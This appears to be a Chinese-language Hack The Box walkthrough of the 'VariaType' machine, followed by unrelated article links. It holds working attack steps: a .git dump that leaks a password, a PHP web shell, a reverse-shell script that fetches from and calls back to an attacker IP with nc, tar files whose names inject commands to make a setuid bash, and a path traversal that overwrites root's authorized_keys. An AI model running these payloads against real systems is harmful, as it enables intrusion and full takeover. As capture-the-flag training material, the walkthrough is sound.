HTB - VariaType

复制代码
10.129.8.159

nmap扫描

复制代码
sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -oA ips_quick_TCP_nmapscan && sudo nmap --top-ports 10000 10.129.8.159 --min-rate=1000 -sU -oA ips_quick_UDP_nmapscan && nmap -p- 10.129.8.159 -oA ips_full_TCP_nmapscan --min-rate=1000 && sudo nmap -p- 10.129.8.159 -sU -oA ips_full_UDP_nmapscan --min-rate=1000

访问80端口

加入host

复制代码
echo '10.129.8.159 variatype.htb' | sudo tee -a /etc/hosts

我们注意到了这段话,fonttool,2025年爆出其存在任意文件写入漏洞 https://github.com/advisories/GHSA-768j-98cg-p3fv

进行简单vhost扫描

复制代码
ffuf -w /home/kali/Desktop/Info/SecLists-master/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt:FUZZ -u http://variatype.htb/ -H 'Host: FUZZ.variatype.htb' -mc all -fw 18

计入hosts

复制代码
portal.variatype.htb

echo '10.129.8.159 portal.variatype.htb' | sudo tee -a /etc/hosts

访问网站

扫描http://portal.variatype.htb/

复制代码
dirsearch -u http://portal.variatype.htb/

窃取git文件夹

复制代码
git-dumper http://portal.variatype.htb/.git ./

查看git文件

复制代码
git log -p

成功窃取账户密码

复制代码
gitbot:G1tB0t_Acc3ss_2025!

经过大量尝试,我们发现可写位置

复制代码
../../../../../../var/www/portal.variatype.htb/public/files/test


我们写入php就可以获取webshell

复制代码
<?php system($_GET["cmd"]);?>

尝试一下

复制代码
http://portal.variatype.htb/files/shell.php?cmd=id

我们开始反连

复制代码
wget 10.10.15.116/pwn.sh
chmod 755 pwn.sh
./pwn.sh

#pwn.sh内容
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.15.116 80 >/tmp/f

上linpeas

复制代码
wget http://10.10.15.116/linpeas.sh && chmod 755 linpeas.sh && ./linpeas.sh

上pspy64

复制代码
wget http://10.10.15.116/pspy64 && chmod 755 pspy64 && ./pspy64

我们在opt文件夹发现了其类似的文件

Linux 提权 - fontforge 库命令执行

我们注意到fontforge,这是一个python库,我们找到了其2024年的漏洞,且2025年存在0day漏洞

https://www.canva.dev/blog/engineering/fonts-are-still-a-helvetica-of-a-problem/

我们可以构造一个恶意的tar文件完成命令执行。先使用下面的代码构造一个恶意的tar文件

复制代码
#!/usr/bin/env python3
import tarfile
import os

exec_command = f"$(touch /tmp/poc)"

with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(exec_command))

然后我们把它放在,~/portal.variatype.htb/public/files,等待一会儿后就可以完成了。

现在我们已经完成了用户的命令执行,我们为用户steve写入authorized_keys

复制代码
#!/usr/bin/env python3
import tarfile
import os

exec_command = f"$(cp /bin/bash /tmp/bash && chmod +s /tmp/bash)"

with tarfile.open("poc.tar", "w", format=tarfile.USTAR_FORMAT) as t:
    t.addfile(tarfile.TarInfo(exec_command))

创建poc.tar

复制代码
python pwn.py

传输poc.tar到指定文件夹,然后等待。

我们使用进入steve

复制代码
/tmp/bash -p

Linux提权 - setuptools 路径遍历漏洞 - RCE漏洞

我们查看sudo -l

查看/opt/font-tools/install_validator.py脚本,发现其调用了setuptools,该工具包存在公开漏洞

https://github.com/advisories/GHSA-5rjg-fvgr-3xxf 路径遍历

https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 RCE

我们尝试了RCE但是貌似已经被修复,我们无法输入空格。但路径遍历是可以的。

根据os.path,join的特性,如果name是绝对路径那么他就会仅获取name部分,而name正好是我们所能控制的部分。所以我们构造如下的payload。

复制代码
#kali
mkdir root
cd root
mkdir .ssh
cat ~/.ssh/id_rsa.pub


sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.15.116//root/.ssh/authorized_keys'

这里可以看到,name被取做了authorized_keys。我们修改编码。这样做是为了让我们的服务器能够正确找到文件,并且也让%2froot%2f.ssh%2fauthorized_keys成为name参数

复制代码
sudo /usr/bin/python3 /opt/font-tools/install_validator.py 'http://10.10.15.116/%2froot%2f.ssh%2fauthorized_keys'
相关推荐
折哥的程序人生 · 物流技术专研13 小时前
Java面试85题图解版 · 特别篇:2026后端高频面试题复盘(算法底层逻辑+高并发架构设计全解析,附Java实战代码)
java·网络·数据库·算法·面试
专注VB编程开发20年14 小时前
c#Modbus上位机开发-一次读10个地址和100个地址速度一样
网络·网络协议·tcp/ip
2601_9619633817 小时前
技术解剖:哈希值、区块链与CA认证如何守护电子合同安全?
网络·人工智能·安全·区块链·智能合约·政务
2601_9619633817 小时前
从“电子化”到“自动化”:2026年智能合约与电子合同融合的技术逻辑与法律适配
网络·人工智能·区块链·智能合约·政务
科技林总17 小时前
解决vllm服务漏扫问题
python·安全
YM52e17 小时前
男孩子在外自我保护指南——用鸿蒙 ArkTS 构建交互式安全教育应用
学习·安全·华为·harmonyos·鸿蒙·鸿蒙系统
不吃土豆的马铃薯18 小时前
C++ 高性能网络缓冲区 Buffer 源码解析
linux·服务器·开发语言·网络·c++
Par@ish18 小时前
【网络安全】Web安全扫描工具Nikto安装和使用详细教程
安全·web安全·ubuntu
namexingyun19 小时前
拆解Fable 5三重安全护栏:模型路由、蒸馏防护与生物安全分类器的技术原理 - 微元算力(weytoken)
java·人工智能·python·安全·架构·ai编程
dog25019 小时前
网络可用性,扩展性,性能的统计本质
网络